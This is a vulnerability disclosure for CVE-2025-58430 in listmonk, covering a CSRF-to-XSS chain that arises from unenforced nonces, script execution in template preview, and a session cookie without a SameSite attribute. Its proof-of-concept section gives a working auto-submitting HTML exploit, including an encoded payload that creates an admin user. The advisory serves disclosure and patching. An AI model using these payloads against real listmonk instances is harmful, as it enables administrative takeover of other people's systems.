cover

Disclosed: September 9, 2025
Product: listmonk — self‑hosted newsletter & mailing‑list manager
CVE: CVE-2025-58430

Project context

listmonk is a widely used open‑source project for self‑hosted newsletters and mailing lists. It has ~17.8k GitHub stars and 16k istances online (FoFa results)

Impact

  • Creation of privileged users
  • Execution of arbitrary actions as the admin
  • Full administrative compromise of the listmonk instance

Overview

A chain of issues in listmonk allows a Cross‑Site Request Forgery (CSRF) to trigger arbitrary JavaScript execution (XSS) in the admin’s browser, culminating in a full admin account takeover. In practice, an attacker can lure a logged‑in admin to a malicious page that silently sends a crafted request to the template preview endpoint; the injected JavaScript then executes in the admin’s context and performs privileged actions (e.g., creating a new administrator).

Affected / Patched Versions

  • Affected: <= v5.0.3
  • Patched: v5.1.0

If you operate listmonk, treat this as critical: assume administrative compromise is possible and apply the mitigations below immediately.

Technical Details

1) Missing server‑side CSRF enforcement

Requests include a nonce parameter alongside the session cookie; however, the backend accepts requests even when the nonce is absent or removed. This defeats the intended CSRF control because the token is not actually validated server‑side.

2) JavaScript execution in template preview

Users with permissions can create and preview templates via POST /api/templates/preview. The preview renderer permits inline JavaScript, which will run in the browser when the preview loads.

The session cookie is set without an explicit SameSite attribute, leaving behavior to browser defaults. On browsers that default to SameSite=None, cross‑site POSTs will include the session cookie, enabling CSRF.

Putting it together

An attacker hosts a page that auto‑submits a POST to the template preview endpoint containing a JavaScript payload. Because the nonce isn’t enforced and the session cookie rides along cross‑site, the payload executes in the admin’s origin. That script can then issue authenticated API calls (e.g., to create a new admin user), resulting in complete administrative takeover.

Proof of Concept

Example HTTP request without nonce :

user_creation_without_nonce_burp_request

An admin (or any user with permissions) can create templates and preview them (POST /api/templates/preview ), in templates it is possible to execute javascript code, for example:

browser_template_editor_with_alert

And this request can also be made without nonce.

template_preview_burp_request_without_nonce

Then an attacker can exploit this lack of validation to trigger an XSS in the victim’s browser (let’s assume the admin)

This is possible for 2 reasons :

  1. There is no validation of the nonce (as mentioned above)
  2. The session cookie has no samesite flag

no_same_site_response_cookie_burp

As we can see from the image above, no samesite cookie policy is set during login, so the browser will use the default one. Some browsers by default set Lax (Chrome), but many others use None (Firefox, Edge)

For example, we can host this html page to prompt the admin to make a post request

<html>
  <!-- CSRF PoC  -->
  <body>
    <form action="https://target.tld/api/templates/preview" method="POST">
      <input type="hidden" name="template&#95;type" value="campaign" />
      <input type="hidden" name="body" value="&#123;&#123;&#32;template&#32;&quot;content&quot;&#32;&#46;&#32;&#125;&#125;&#13;&#10;&#13;&#10;&lt;script&gt;alert&#40;&#41;&lt;&#47;script&gt;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>


I tested the CSRF+XSS PoC written above on 3 browsers in their latest versions

  • Chrome ❌
  • Firefox ✅
  • Edge ✅

Example in Firefox :

xss_mozilla_poc

We can now replace the simple alert() with any “harmful” request. request, for example the creation of a new admin account:

browser_template_editor_with_final_payload

    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true);
        xhr.setRequestHeader("Content-Type", "application\/json");
        xhr.withCredentials = true;
        var body = "{\"username\":\"testuser4\",\"email\":\"test3@test.com\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"password_login\":true,\"user_role_id\":1,\"list_role_id\":null}";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest();
    </script>

So the final poc that exploits CSRF + XSS to create an admin account is like this :

<html>
  <!-- CSRF PoC -->
  <body>
    <form action="https://10.100.132.47/api/templates/preview" method="POST">
      <input type="hidden" name="template&#95;type" value="campaign" />
      <input type="hidden" name="body" value="&#123;&#123;&#32;template&#32;&quot;content&quot;&#32;&#46;&#32;&#125;&#125;&#13;&#10;&#13;&#10;&#32;&#32;&#32;&#32;&lt;script&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;function&#32;submitRequest&#40;&#41;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#123;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;var&#32;xhr&#32;&#61;&#32;new&#32;XMLHttpRequest&#40;&#41;&#59;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;xhr&#46;open&#40;&quot;POST&quot;&#44;&#32;&quot;https&#58;&#92;&#47;&#92;&#47;10&#46;100&#46;132&#46;47&#92;&#47;api&#92;&#47;users&quot;&#44;&#32;true&#41;&#59;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;xhr&#46;setRequestHeader&#40;&quot;Content&#45;Type&quot;&#44;&#32;&quot;application&#92;&#47;json&quot;&#41;&#59;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;xhr&#46;withCredentials&#32;&#61;&#32;true&#59;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;var&#32;body&#32;&#61;&#32;&quot;&#123;&#92;&quot;username&#92;&quot;&#58;&#92;&quot;testuser4&#92;&quot;&#44;&#92;&quot;email&#92;&quot;&#58;&#92;&quot;test3&#64;test&#46;com&#92;&quot;&#44;&#92;&quot;name&#92;&quot;&#58;&#92;&quot;testuser4&#92;&quot;&#44;&#92;&quot;password&#92;&quot;&#58;&#92;&quot;Test12345&#92;&quot;&#44;&#92;&quot;passwordLogin&#92;&quot;&#58;true&#44;&#92;&quot;type&#92;&quot;&#58;&#92;&quot;user&#92;&quot;&#44;&#92;&quot;status&#92;&quot;&#58;&#92;&quot;enabled&#92;&quot;&#44;&#92;&quot;listRoleId&#92;&quot;&#58;&#92;&quot;&#92;&quot;&#44;&#92;&quot;userRoleId&#92;&quot;&#58;1&#44;&#92;&quot;password2&#92;&quot;&#58;&#92;&quot;Test12345&#92;&quot;&#44;&#92;&quot;password&#95;login&#92;&quot;&#58;true&#44;&#92;&quot;user&#95;role&#95;id&#92;&quot;&#58;1&#44;&#92;&quot;list&#95;role&#95;id&#92;&quot;&#58;null&#125;&quot;&#59;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;var&#32;aBody&#32;&#61;&#32;new&#32;Uint8Array&#40;body&#46;length&#41;&#59;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;for&#32;&#40;var&#32;i&#32;&#61;&#32;0&#59;&#32;i&#32;&lt;&#32;aBody&#46;length&#59;&#32;i&#43;&#43;&#41;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;aBody&#91;i&#93;&#32;&#61;&#32;body&#46;charCodeAt&#40;i&#41;&#59;&#32;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;xhr&#46;send&#40;new&#32;Blob&#40;&#91;aBody&#93;&#41;&#41;&#59;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#125;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;submitRequest&#40;&#41;&#59;&#13;&#10;&#32;&#32;&#32;&#32;&lt;&#47;script&gt;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

References

  • GitHub Security Advisory: GHSA‑rf24‑wg77‑gq7w (CVE‑2025‑58430) — https://github.com/knadh/listmonk/security/advisories/GHSA-rf24-wg77-gq7w
  • listmonk repository — https://github.com/knadh/listmonk
  • listmonk documentation — https://listmonk.app/docs/